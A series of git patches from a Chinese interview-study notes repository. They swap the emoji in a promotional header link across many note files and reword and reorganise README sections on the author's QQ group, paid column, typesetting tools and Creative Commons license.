+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index 9b8d06b9..01d03c5f 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index be3d0c3e..f40a7159 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 006b4f00..d2645864 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index fa0981a0..841ad5f4 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index 6b1d20e3..c50e635a 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index d3dfc593..61affa75 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index c7b876f4..a5d8d4db 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index 701bf10f..817ef2c6 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index debe386b..05b35d23 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 96d3ba88..a6a7b152 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index ceafb089..b292f1b7 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 00c8fef6..4b23ee3d 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 1a1d2201..2402d19b 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index 9b2c23c3..978f0e12 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 615761bc..19eaa47b 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index d79ae7f1..19741b0b 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[🍉 面试进阶专栏 🍉](https://xiaozhuanlan.com/CyC2018)
+[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From dfa9010feb21455383f97d361a2aef11e383ee86 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:49:00 +0800
Subject: [PATCH 055/100] Update README.md

---
 README.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/README.md b/README.md
index e40c2e9a..0af963bf 100644
--- a/README.md
+++ b/README.md
@@ -19,7 +19,6 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    <a href="https://xiaozhuanlan.com/CyC2018"> ⭐️ 面试进阶专栏 ⭐️</a> 
 </div> 
 
 <br/>

From f8118711d4907b7674e834d995f10df0de82da52 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 23:56:16 +0800
Subject: [PATCH 056/100] =?UTF-8?q?Delete=20=E7=9B=B8=E5=85=B3=E5=86=85?=
 =?UTF-8?q?=E5=AE=B9.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 相关内容.md | 28 ----------------------------
 1 file changed, 28 deletions(-)
 delete mode 100644 相关内容.md

diff --git a/相关内容.md b/相关内容.md
deleted file mode 100644
index 35357fcb..00000000
--- a/相关内容.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# QQ 群
-
-为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
-
-<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="300px"></br>
-<a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
-
-
-# 知识星球
-
-想要向笔者提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
-
-[🎓](other/Planet.md)
-
-# 内推信息
-
-[🔎](https://github.com/CyC2018/Job-Recommend)
-
-# 排版
-
-笔记内容按照 [中文文案排版指北](https://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
-
-# 上传方案
-
-笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
-
-笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
-

From 9cb2744760784df4bf268e6cf53df641670efc6a Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 00:00:57 +0800
Subject: [PATCH 057/100] auto commit

---
 README.md | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/README.md b/README.md
index 0af963bf..d90eb96c 100644
--- a/README.md
+++ b/README.md
@@ -19,6 +19,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
+    
 </div> 
 
 <br/>
@@ -86,9 +87,9 @@
 
 ### 关于
 
-本仓库主要是根据计算机经典书籍以及官方技术文档进行总结的学习笔记，希望对大家有所帮助。
 
-学习笔记不是从网上到处拼凑而来，除了少部分引用书上和技术文档的原文，其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时，请遵循文末的开源协议，谢谢。
+
+
 
 ### QQ 群
 
@@ -116,6 +117,13 @@
 
 笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：GFM-Converter。
 
+### License
+
+学习笔记不是从网上到处拼凑而来，除了少部分引用书上和技术文档的原文，其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时，请署名并以相同方式共享，谢谢。
+
+<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
+
+
 ### Logo
 
 Power by [logomakr](https://logomakr.com/).
@@ -151,9 +159,3 @@ Power by [logomakr](https://logomakr.com/).
 <a href="https://github.com/yanglbme">
 ​    <img src="https://avatars1.githubusercontent.com/u/21008209?s=400&v=4" width="50px">
 </a>
-
-### License
-
-在对本作品进行演绎时，请署名并以相同方式共享。
-
-<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="知识共享许可协议" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>

From 8fa4af42cb4dd54c9410edca6a87f6e91bf705eb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 00:02:12 +0800
Subject: [PATCH 058/100] Update README.md

---
 README.md | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/README.md b/README.md
index d90eb96c..408488c3 100644
--- a/README.md
+++ b/README.md
@@ -1,19 +1,3 @@
-
-<!--  | Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
-| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
-| 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:couple:](#couple-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:hammer:](#hammer-工具)| 编码实践[:speak_no_evil:](#speak_no_evil-编码实践)| 后记[:memo:](#memo-后记) | -->
-
-<!-- | Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ |
-| :--------: | :---------: | :---------: | :---------: | :---------: |
-| &emsp;&emsp;&emsp;算法&emsp;&emsp;&emsp;<br>[:pencil2:](#pencil2-算法) | &emsp;&emsp;&emsp;操作系统&emsp;&emsp;&emsp;<br>[:computer:](#computer-操作系统) | &emsp;&emsp;&emsp;&emsp;网络&emsp;&emsp;&emsp;&emsp;<br>[:cloud:](#cloud-网络) | &emsp;&emsp;&emsp;面向对象&emsp;&emsp;&emsp;<br>[:couple:](#couple-面向对象) | &emsp;&emsp;&emsp;数据库&emsp;&emsp;<br>[:floppy_disk:](#floppy_disk-数据库)|
-
-| Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
-|:---------:| :---------: | :-------: | :-------:| :------:|
-| &emsp;&emsp;&emsp;Java&emsp;&emsp;&emsp;<br>[:coffee:](#coffee-java) | &emsp;&emsp;&emsp;系统设计&emsp;&emsp;&emsp;<br>[:bulb:](#bulb-系统设计) | &emsp;&emsp;&emsp;&emsp;工具&emsp;&emsp;&emsp;&emsp;<br>[:hammer:](#hammer-工具) | &emsp;&emsp;&emsp;编码实践&emsp;&emsp;&emsp;<br>[:speak_no_evil:](#speak_no_evil-编码实践) | &emsp;&emsp;&emsp;后记 &emsp;&emsp;&emsp;<br>[:memo:](#memo-后记) |
--->
-
-<br>
-
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="200px">
     <br>
@@ -159,3 +143,20 @@ Power by [logomakr](https://logomakr.com/).
 <a href="https://github.com/yanglbme">
 ​    <img src="https://avatars1.githubusercontent.com/u/21008209?s=400&v=4" width="50px">
 </a>
+
+
+
+<!--  | Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ | Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
+| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|
+| 算法[:pencil2:](#pencil2-算法) | 操作系统[:computer:](#computer-操作系统)|网络[:cloud:](#cloud-网络) | 面向对象[:couple:](#couple-面向对象) |数据库[:floppy_disk:](#floppy_disk-数据库)| Java [:coffee:](#coffee-java)| 系统设计[:bulb:](#bulb-系统设计)| 工具[:hammer:](#hammer-工具)| 编码实践[:speak_no_evil:](#speak_no_evil-编码实践)| 后记[:memo:](#memo-后记) | -->
+
+<!-- | Ⅰ | Ⅱ | Ⅲ | Ⅳ | Ⅴ |
+| :--------: | :---------: | :---------: | :---------: | :---------: |
+| &emsp;&emsp;&emsp;算法&emsp;&emsp;&emsp;<br>[:pencil2:](#pencil2-算法) | &emsp;&emsp;&emsp;操作系统&emsp;&emsp;&emsp;<br>[:computer:](#computer-操作系统) | &emsp;&emsp;&emsp;&emsp;网络&emsp;&emsp;&emsp;&emsp;<br>[:cloud:](#cloud-网络) | &emsp;&emsp;&emsp;面向对象&emsp;&emsp;&emsp;<br>[:couple:](#couple-面向对象) | &emsp;&emsp;&emsp;数据库&emsp;&emsp;<br>[:floppy_disk:](#floppy_disk-数据库)|
+
+| Ⅵ | Ⅶ | Ⅷ | Ⅸ | Ⅹ |
+|:---------:| :---------: | :-------: | :-------:| :------:|
+| &emsp;&emsp;&emsp;Java&emsp;&emsp;&emsp;<br>[:coffee:](#coffee-java) | &emsp;&emsp;&emsp;系统设计&emsp;&emsp;&emsp;<br>[:bulb:](#bulb-系统设计) | &emsp;&emsp;&emsp;&emsp;工具&emsp;&emsp;&emsp;&emsp;<br>[:hammer:](#hammer-工具) | &emsp;&emsp;&emsp;编码实践&emsp;&emsp;&emsp;<br>[:speak_no_evil:](#speak_no_evil-编码实践) | &emsp;&emsp;&emsp;后记 &emsp;&emsp;&emsp;<br>[:memo:](#memo-后记) |
+-->
+
+<br>

From 04ca384dd39ce45e3f20ae2dbb64591eed37af39 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 00:21:32 +0800
Subject: [PATCH 059/100] auto commit

---
 README.md | 22 +++++++++-------------
 1 file changed, 9 insertions(+), 13 deletions(-)

diff --git a/README.md b/README.md
index 408488c3..600ba44d 100644
--- a/README.md
+++ b/README.md
@@ -3,10 +3,10 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    
+    本仓库包含了技术面试必备的基础知识，这些内容是我从众多计算机经典书籍总结而来，内容浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些内容，从而节省宝贵的面试复习时间。如果你觉得本仓库对你有帮助，可以考虑订阅我的 <a href="https://xiaozhuanlan.com/CyC2018">专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
-<br/>
+<br>
 
 ## :pencil2: 算法
 
@@ -69,21 +69,15 @@
 
 ## :memo: 后记 
 
-### 关于
-
-
-
-
-
 ### QQ 群
 
-为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
+为大家提供一个学习交流平台，在这里你可以自由地和我以及其他人进行技术上的交流。
 
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 
 ### 知识星球
 
-想要向笔者提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
+想要向我提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
 
 [🎓](other/Planet.md)
 
@@ -93,13 +87,15 @@
 
 ### 排版
 
-笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 ![]() 这种方式来引用图片，而是用 <img> 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：Text-Typesetting。
+笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 ![]() 这种方式来引用图片，而是用 <img> 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
+
+我将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Text-Typesetting)。
 
 ### 上传方案
 
-笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
+我在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
 
-笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：GFM-Converter。
+我将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
 
 ### License
 

From 9fe5987de6acb88c8c1342839dddbd9885b0a827 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 00:30:24 +0800
Subject: [PATCH 060/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 1a4cafc7..1ccabb6b 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index 7b8e37bc..01c4e642 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index 2baed930..905228b2 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 0a57df0b..211afcc3 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 3068450c..8fb816a5 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index 10348d9f..fb46fe1c 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index e1c1a2df..60f751ff 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index b80e366d..01d48581 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 031af745..352dcbf3 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index 26a7b4ab..b8a2a456 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index 7aef95a3..60c7b45a 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index ef6fe3a8..f0b95287 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index 03865d27..6309ccd0 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
